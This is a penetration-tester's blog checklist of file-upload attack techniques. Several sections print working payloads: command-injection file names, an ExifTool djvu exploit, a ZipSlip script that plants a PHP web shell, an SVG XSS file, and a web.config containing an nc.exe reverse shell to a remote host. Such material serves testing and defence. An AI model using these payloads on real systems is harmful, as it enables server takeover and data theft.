BY **Gus Ralph** / ON **May 25, 2021**

File Upload Vulnerability Tricks and Checklist

File uploads are pretty much globally accepted to have one of the largest attack surfices in web security, allowing for such a massive variety of attacks, while also being pretty tricky to secure.

The following post is some tips and tricks we try at OnSecurity when testing these features.

Note this does not include all checks that should be carried out, for example, context dependent vulnerabilities.

Security Checklist

- [ ] Are filenames reflected back on the page? If so, are they HTML Entity encoded (XSS via file names)?
- [ ] Does it accept .zip files? Try a ZipSlip
- [ ] Is the app PHP? Check the PHP section
- [ ] Is the app ASP.NET? Check the ASP .NET section
- [ ] If it processes an image, check for Image Tragick (CVE-2016-3714)
- [ ] Can you bypass file type restrictions by changing the content-type value?
- [ ] Can you bypass file type restrictions by forging valid magic bytes?
- [ ] Can you upload a file with a less-common extension (such as .phtml)?
- [ ] Try playing with the filename in the request, a potential vector for traversal or SQL injection.
- [ ] Check for the acceptance of double extensions on uploaded files.
- [ ] Test for null-byte injection.
- [ ] Is the server windows? Try adding a trailing . to bypass extension blacklists, this dot will be removed automatically by the OS.
- [ ] Can you upload an SVG for XSS?
- [ ] If supported by the webserver, can you upload .htaccess files?
- [ ] Does the backend process the image with the PHP GD library?
- [ ] Is the app vulnerable to the infamous ffmpeg exploit?
- [ ] Can custom polyglots be developed to bypass specific filters?
- [ ] Does the app pass the file name to some sort of system function? If so, can you achieve RCE via code injection within the file name?
- [ ] Does the application run the uploaded file through exiftool? If so, can you get RCE via the djvu exploit?
- [ ] Can you bypass extension filters by using varied capitalization?

Tricks

RCE via the file name parameter

If the application includes custom image processing / file manipulation, then it may be vulnerable to remote command execution via code injection in the file name.

Some example valid file names that could trigger commmand injection are the following:

File Name	Payload	Outcome If Vulnerable
`a$(whoami)z.jpg`	`$(whoami)`	`a[CURRENT USER]z.jpg`
a`whoami`z.jpg	`whoami`	`a[CURRENT USER]z.jpg`
`a;sleep 30;z.jpg`	`;sleep 30;`	The application will take 30+ seconds to respond

Example Vulnerable Code

Code:

```
<?php
$variable = "test`whoami`test";
system("echo ".$variable);
?>
```

Output:

```
testwww-datatest
```

RCE via ExifTool Exploit

Exiftool versions 7.44 through 12.23 inclusive are vulnerable to a local command execution vulnerability when processing djvu files. Knowing this, if a web application is accepting uploaded files, which are then passed to exiftool, can, in turn, lead to RCE (see reference for an example).

An example exploit can be seen below, which "sample1.djvu" being a random file sample I found online.

```
chivato@dungeon:~/Downloads$ cat file.dsed
(metadata
       ("\c${system 'id'}")
.
chivato@dungeon:~/Downloads$ djvumake sample1.djvu INFO=0,0 BGjp=/dev/null ANTa=file.dsed
chivato@dungeon:~/Downloads$ exiftool sample1.djvu
uid=1000(chivato) gid=1000(chivato) groups=1000(chivato),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(s
ExifTool Version Number         : 11.88
File Name                       : sample1.djvu
Directory                       : .
File Size                       : 91 bytes
File Modification Date/Time     : 2021:06:03 12:56:09+01:00
File Access Date/Time           : 2021:06:03 12:56:09+01:00
File Inode Change Date/Time     : 2021:06:03 12:56:09+01:00
File Permissions                : rw-rw-r--
File Type                       : DJVU
File Type Extension             : djvu
MIME Type                       : image/vnd.djvu
Image Width                     : 0
Image Height                    : 0
DjVu Version                    : 0.24
Spatial Resolution              : 300
Gamma                           : 2.2
Orientation                     : Horizontal (normal)
Warning                         : Ignored invalid metadata entry(s)
Image Size                      : 0x0
Megapixels                      : 0.000000
chivato@dungeon:~/Downloads$
```

References

- RCE in GitLab due to ExifTool Exploit

Bypassing filters by case sensitive extensions.

Depending on how the application's back-end is coded, it may allow for a malicious actor to bypass certain checks by simply changing the capitalization of a file's extension.

For example: `shell.php` Would become `shell.pHP`

Example's of this can be found within the references below.

References

- Example exploit from WPScan

Magic Byte Forgery

If an application is using a file's magic bytes to deduce the content-type, for example via PHP's mime_content_type function, we can easily bypass security measures by forging the magic bytes of an allowed file. For example, if GIF images are allowed, we can forge a GIF image's magic bytes `GIF89a` to make the server think we are sending it a valid GIF, as seen below.

```
chivato@kingdom:~$ echo "GIF89a;
> test" > file
chivato@kingdom:~$ php -a
Interactive mode enabled

php > echo(mime_content_type("file"));
image/gif
php >
chivato@kingdom:~$
```

This can also be obseved via the GNU `file` command.

```
chivato@kingdom:~$ echo "test" > file
chivato@kingdom:~$ file file
file: ASCII text
chivato@kingdom:~$ echo 'GIF89a;
> test' > file1
chivato@kingdom:~$ file file1
file1: GIF image data, version 89a, 2619 x 25972
chivato@kingdom:~$
```

Common useful magic bytes

File Type	Magic Bytes
GIF	GIF89a;\x0a
PDF	%PDF-
JPG / JPEG	\xFF\xD8\xFF\xDB
PNG	\x89\x50\x4E\x47\x0D\x0A\x1A\x0A
TAR	\x75\x73\x74\x61\x72\x00\x30\x30
XML	`<?xml`

Full list of known file magic bytes

Bypassing the PHP GD library

A common mistake developers make is thinking that the PHP GD image processing library helps protect against malicious file uploads, as once the image is processed and compressed, the structure changes, and would scramble any previously valid code.

This misconception, however, leads to a severe security flaw and attack surface if the following technique is known to the attacker.

Essentially, to exploit this security flaw, we need to find a part of an image which is the same both pre-compression and post-compression. As seen in the research linked in the references.

You can easily recognize if an image is being passed through the PHP GD library by uploading an image, downloading said image back from the webserver, can reading the file as text. If it has been compressed through PHP's GD library, it will most likely appear to have the following information within the header, or something similar at the least:

```
CREATOR: gd-jpeg v1.0 (using IJG JPEG v62),
```

Note that it you find PHP GD being used with a custom "depth" value, it will greatly increase the difficulty of exploitation, and in some cases, render it impossible, for example when the processed image contains the following header:

```
JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 50
```

References

- Bypass PHP GD Processing to RCE by Rick Gray
- BookFresh Vulnerability

Uploading a .htaccess file

Blue teamers and developers are usually quick to blacklist file extensions, but rarely consider how webserver configuration files themselves can be exploited. Hence why the `.htaccess` technique can be so dangerous, even leading to RCE.

This file isn't directly an RCE vector, but it does allow for the definition of new valid PHP extensions, which can then be uploaded to the server (as they are not blacklisted).

An example `.htaccess` file that can be used to add a new PHP extension is:

```
AddType application/x-httpd-php .evil
```

Note that this attack relies on the following options being enabled, and NGINX does not support .htaccess files.

```
/etc/apache2/apache2.conf:      AllowOverride Options
/etc/apache2/apache2.conf:      AllowOverride FileInfo
```

Resources

- https://thibaud-robin.fr/articles/bypass-filter-upload/

Upload a malicious SVG file for XSS

When applications allow for images to be uploaded, it can seem logical to whitelist SVG files along with other common image types, although SVG files can be abused to achieve XSS within the application, simply by uploading the following content within a `.svg` file. This technique is commonly abused by bug bounty hunters in the wild.

```
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <rect width="300" height="100" style="fill:rgb(255,0,0);stroke-width:3;stroke:rgb(0,0,0)" />
   <script type="text/javascript">
      alert("XSS!");
   </script>
</svg>
```

Abusing ADS to bypass extension blacklists

As listed by the Open-Source Web Application Security Project (OWASP):

> Another extension blacklist bypass method, is by using NTFS alternate data stream (ADS) in Windows. In this case, a colon character ":" will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. "file.asax:.jpg"). This file might be edited later using other techniques such as using its short filename. The "::$data" pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "file.asp::$data.").

References

- OWASP Unrestricted File Upload

Trailing . in Windows

Within Windows, when a file is created with a trailing full-stop, the file is saved WITHOUT said trailing character, leading to potential blacklist bypasses on Windows file uploads.

For example, if an application is rejecting files that end in `.aspx`, you can upload a file called `shell.aspx.`. Now this filename will bypass the blacklist, as `.aspx` != `.aspx.`, but upon saving the file to the server, Windows will cut out the trailing `.`, leaving `shell.aspx`, which is a valid Windows shell, and can be used to run ASP .NET code.

```
C:\Users\Jd\test>echo test >test.txt.

C:\Users\Jd\test>dir
 Volume in drive C is Windows
 Volume Serial Number is 2C6D-DF8F

 Directory of C:\Users\Jd\test

25/03/2021  23:03    <DIR>          .
25/03/2021  23:03    <DIR>          ..
25/03/2021  23:03                 7 test.txt
               1 File(s)              7 bytes
               2 Dir(s)   5,882,077,184 bytes free

C:\Users\Jd\test>
```

Null Byte (\x00) Injection

To understand this attack, we need to do some surface level research into what a null byte is, what it is for, and how it works.

As per Wikipedia:

> The null character is a control character with the value zero. It is present in many character sets, including those defined by the Baudot and ITA2 codes, ISO/IEC 646, the C0 control code, the Universal Coded Character Set, and EBCDIC. It is available in nearly all mainstream programming languages.

What is a null byte for?

A null character is a character with all its bits set to zero. Therefore, it has a numeric value of zero and can be used to represent the end of a string of characters, such as a word or phrase. This helps programmers determine the length of strings.

How can this be exploited?

As previously stated, the null byte character can be used to define string termination, meaning when certain interpreters reach a null-byte within a string, it will expect that to be the end of the string, even if there are characters after it. This leads to a whole variety of confusion-based attacks, such as the following.

Imagine an application blocks certain extensions from being saved onto the server, but the application takes null-bytes into account when checking the extension, we could submit something along the lines of `shell.jpeg%00.php`.

Since the server will check the string, but hit the null-byte, it will only read up to ".jpeg", and pass it as valid, although the file would be saved onto the server as shell.jpeg%00.php, which is then accessible to execute commands.

Older versions of PHP have been found to be vulnerable to said attack, for more information, see here

Web.config File Upload

Within IIS web servers, if the application allows you to upload files named 'web.config', you can achieve a variety of malicious attacks, including XSS, RCE, arbitrary file downloads and more.

Examples of malicious web.config files are widely available on the internet, although below I have included my favourite, from gazcbm on GitHub.

```
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule"
scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write"
preCondition="bitness64" />
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&"->")
Set objShell = CreateObject("WScript.Shell")
objShell.Exec("c:\users\test\documents\nc.exe -d 10.10.10.10 1337 -e c:\windows\system32\cmd.exe")
Response.write("<!-"&"-")
%>
-->
```

Resources

- Soroush' blog post on web.config uploads

ZipSlip

Zip Slip is a vulnerability discovered by the Snyk Security Research Team, that exists when a file upload functionality accepts, and extracts zip files without proper security measures in place. This vulnerability allows for writing to paths outside the intended upload directory, and in some cases, RCE.

The vulnerability takes advantage of zips that may contain files with specifically placed payloads set to the names, that once extracted, lead to a path traversal, and can write any file to any directory the webserver has access to.

For example, we can generate a malicious zipslip file with the script listed below, which then contains the path traversal file. Upon listing the files within the zip:

```
chivato@kingdom:~$ unzip -v rce.zip
Archive:  rce.zip
 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name
--------  ------  ------- ---- ---------- ----- --------  ----
      30  Defl:N       32  -7% 2021-03-24 23:36 b57b50e6  ../../rce.php
--------          -------  ---                            -------
      30               32  -7%                            1 file
```

This clearly displays the zip file to contain "../../rce.php", which once extracted, will traverse out of a vulnerable application's intended directory.

The vulnerability has been found to exist in a variety of different popular libraries and products, such as, the Fortify Cloud Scan Jenkins Plugin, the AWS Toolkit for Eclipse, Apache Maven and more. The full list of vulnerable libraries / products can be found here.

A useful video to explain this vulnerability further can be found on LiveOverflow's YouTube.

Generate malicious Zip Slip file:

```python
#!/usr/bin/python
import zipfile
from cStringIO import StringIO

def _build_zip():
    f = StringIO()
    z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
    z.writestr('../../rce.php', '<?php system($_GET["cmd"]); ?>')
    z.close()
    zip = open('rce.zip','wb')
    zip.write(f.getvalue())
    zip.close()

_build_zip()
```

Image Tragick CVE-2016-3714

Image Tragick is the name given to an infamous exploit (CVE-2016-3714) in the ImageMagick PHP image processing library. The vulnerability consisted of abusing the misshandling of quotes, to lead to a command injection vulnerability, as explained on the previously mentioned website:

ImageMagick allows to process files with external libraries. This feature is called ‘delegate’. It is implemented as a system() with command string (‘command’) from the config file delegates.xml with actual value for different params (input/output filenames etc). Due to insufficient %M param filtering it is possible to conduct shell command injection. One of the default delegate’s command is used to handle https requests:

```
"wget" -q -O "%o" "https:%M"
```

Where %M is the actual link from the input. It is possible to pass the value like

```
`https://example.com";|ls "-la`
```

And execute unexpected ‘ls -la’ (wget or curl should be installed).

```
$ convert 'https://example.com";|ls "-la' out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
```

Essentially, a malicious file can be provided for processing, and will lead to code execution on the machine, so if we combine this vulnerability with a remote file upload feature within an image processing application, we achieve RCE.

This vulnerability has been extensively researched and plenty example exploits can be found online.

FFMPEG exploit and explanation

A similarly infamous exploit can be found within the “FFMEG” software, which leads to local file disclosure. This vulnerability has been exploited in the wild to achieve both LFR and SSRF. See examples for more information.

Examples

- HackerOne Report
- LiveOverflow Explanation Part 1
- LiveOverflow Explanation Part 2

Tools

- Burp Upload Scanner
- Fuxploider (easy to use open source file upload scanner)

Resources

- PayloadsAllTheThings

Share:

Latest Articles

File upload tricks and checklist

May 25, 2021

UK Government Announces New Cyber Security Laws

May 21, 2021